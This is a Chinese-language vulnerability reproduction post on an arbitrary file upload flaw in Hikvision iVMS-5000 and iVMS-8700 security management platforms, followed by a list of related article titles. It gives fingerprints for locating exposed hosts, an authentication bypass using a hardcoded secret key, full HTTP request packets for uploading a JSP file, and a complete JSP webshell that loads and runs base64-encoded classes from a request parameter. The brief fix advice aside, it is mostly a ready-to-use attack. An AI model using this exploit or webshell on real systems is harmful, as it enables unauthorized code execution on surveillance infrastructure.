文章目录

  • 前言
  • 声明
  • 一、产品简介
  • 二、漏洞概述
  • 三、影响范围
  • 四、漏洞验证
  • 五、漏洞利用
  • 六、修复建议

前言

海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。


声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


一、产品简介

海康威视 iVMS 集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、连网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

二、漏洞概述

海康威视 iVMS系统存在在野利用 0day漏洞,攻击者可通过获取密钥任意构造token,请求/resourceOperations/upload 接口任意上传文件,导致获取服务器WebShell权限,同时可远程进行恶意代码执行。

三、影响范围

  • 海康威视综合安防系统 iVMS-5000

  • 海康威视综合安防系统 iVMS-8700

四、漏洞验证

鹰图指纹: web.body=" /views/home/file/installPackage.rar"
hunter指纹: web.icon==" 3670cbb1369332b296ce44a94b7dd685"

漏洞url:/eps/api/resourceOperations/upload
测试脚本: https://github.com/sccmdaveli/hikvision-poc

脚本验证

手工测试

bp抓起首页包,尝试访问接口 (这里出现token需要进行鉴权)

数据包如下:

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=60F93668C907B8C1E8E7A1C16A382723
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57service=http%3A%2F%2FX.X.X.X%2Fhome%2Findex.action

构造token绕过认证 (内部机制:如果token值与请求url+secretkey的MD5值相同就可以绕过认证)

secretkey是代码里写死的 (默认值:secretKeyIbuilding)

token值需要进行MD5加密 (32位大写)

组合:token=MD5 (url+" secretKeyIbuilding")


MD5加密网址:https://www.sojson.com/encrypt_md5.html

http://X.X.X.X/eps/api/resourceOperations/uploadsecretKeyIbuilding

MD5 32位大写: ************************

再次验证:

数据包:

POST /eps/api/resourceOperations/upload?token=9A*************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 63service=http%3A%2F%2FX.X.X.X%3AXXXX%2Fhome%2Findex.action


可以看出,已经成功绕过!!!

构造文件上传Payload

POST /eps/api/resourceOperations/upload?token=9A******************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: multipart/form-data;boundary=f7d1250b2d43db9324c19e1073573ce6
Content-Length: 179--f7d1250b2d43db9324c19e1073573ce6
Content-Disposition: form-data; name="fileUploader"; filename="1.jsp"
Content-Type: image/jpegtest
--f7d1250b2d43db9324c19e1073573ce6—


Web访问:http://X.X.X.X/eps/upload/resourceUuid值.jsp

五、漏洞利用

Tips:谨慎操作

以下为JSP木马

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>



该漏洞利用方式简便,危害极高,建议及时修复!!!


六、修复建议

关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

建议各单位对应用进行排查,以免造成其他影响。

【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)相关推荐

  1. 海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

    0x01 产品简介 海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控.联网报警.智能分析.运维管理等多种安全防范应用系统,构建的多业务应用综合管 ...

  2. 海康威视iVMS综合安防系统任意文件上传漏洞复现 (0day)

    前言 此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 一.漏洞描述 海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations ...

  3. Goby 漏洞更新 | 万户 OA OfficeServer.jsp 任意文件上传漏洞

    漏洞名称:万户 OA OfficeServer.jsp 任意文件上传漏洞 English Name:ezOFFICE OA OfficeServer.jsp Arbitrarily File Uplo ...

  4. 【漏洞复现】泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)

    0x01 漏洞概述 泛微e-office是泛微旗下的一款标准的协同移动办公平台. 泛微e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行,攻击者可 ...

  5. Goby 漏洞更新 |海康威视部分iVMS系统存在文件上传漏洞

    漏洞名称:海康威视部分iVMS系统存在文件上传漏洞 English Name:Some Hikvision iVMS file upload vulnerabilitie CVSS core: 9.8 ...

  6. vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...

    文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...

  7. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  8. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  9. 网安基础学习之“文件上传漏洞原理与实现”

    网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...

最新文章

  1. Can I compile and run Dx11Shader for Maya 2015 on my side?
  2. 23、OSPF配置实验之特殊区域Totally NSSA
  3. 关于海量数据的SQL查询优化.........
  4. 早上起床时需要的重力
  5. mysql有状态无状态_k8s statefulSet 有状态应用和无状态应用区别
  6. es6 Promise 的应用
  7. .Net中数据绑定控件应用小技巧
  8. python流程图自动生成_python自动化办公 自动生成PPT通报
  9. svn 服务器修改密码,用户自行修改svn密码的简单服务
  10. 【python爬虫笔记】验证码
  11. 可编辑div的一些方法总结(二)自定义空格和回车事件
  12. xshell6设置选中复制 右键粘贴复制内容
  13. TCP/IP:认识TCP
  14. wireshark https 抓包
  15. Ardunio开发实例-被动红外(PIR)运动传感器使用
  16. 利用selenium实现淘宝双十一抢购商品
  17. 答群友公式推导疑问:守恒和非守恒公式的动量方程推导
  18. 赛扬处理器_J4015处理器!品铂新款X10上市!_IT业界行情
  19. Streams AQ: qmn coordinator waiting for slave to start
  20. P2255 [USACO14JAN]记录奥林比克

热门文章

  1. Facebook发布 Wedge 100 ToR 交换机及光模块规范
  2. java 输入数组,最大的与第一个元素交换,最小的与最后一个元素交换,输出数组
  3. 4090显卡上部署 Baichuan-13B-Chat
  4. linux下运行c语言程序报Segmentation Fault的定位方法
  5. 加油站的良好出发点问题
  6. 积分兑换商城运营的出发点是什么
  7. AntdPro+react 动态路由
  8. 盘点国内热门AI大模型
  9. 福利来啦,软件测试入行者的福音,测试项目实战它来了
  10. matlab三元函数泰勒展开,如何用matlab绘制三元函数f(x,y,z)=x^2 y^3 z^4在[-1,1]x[-2,2]x[-3,3] 上的各...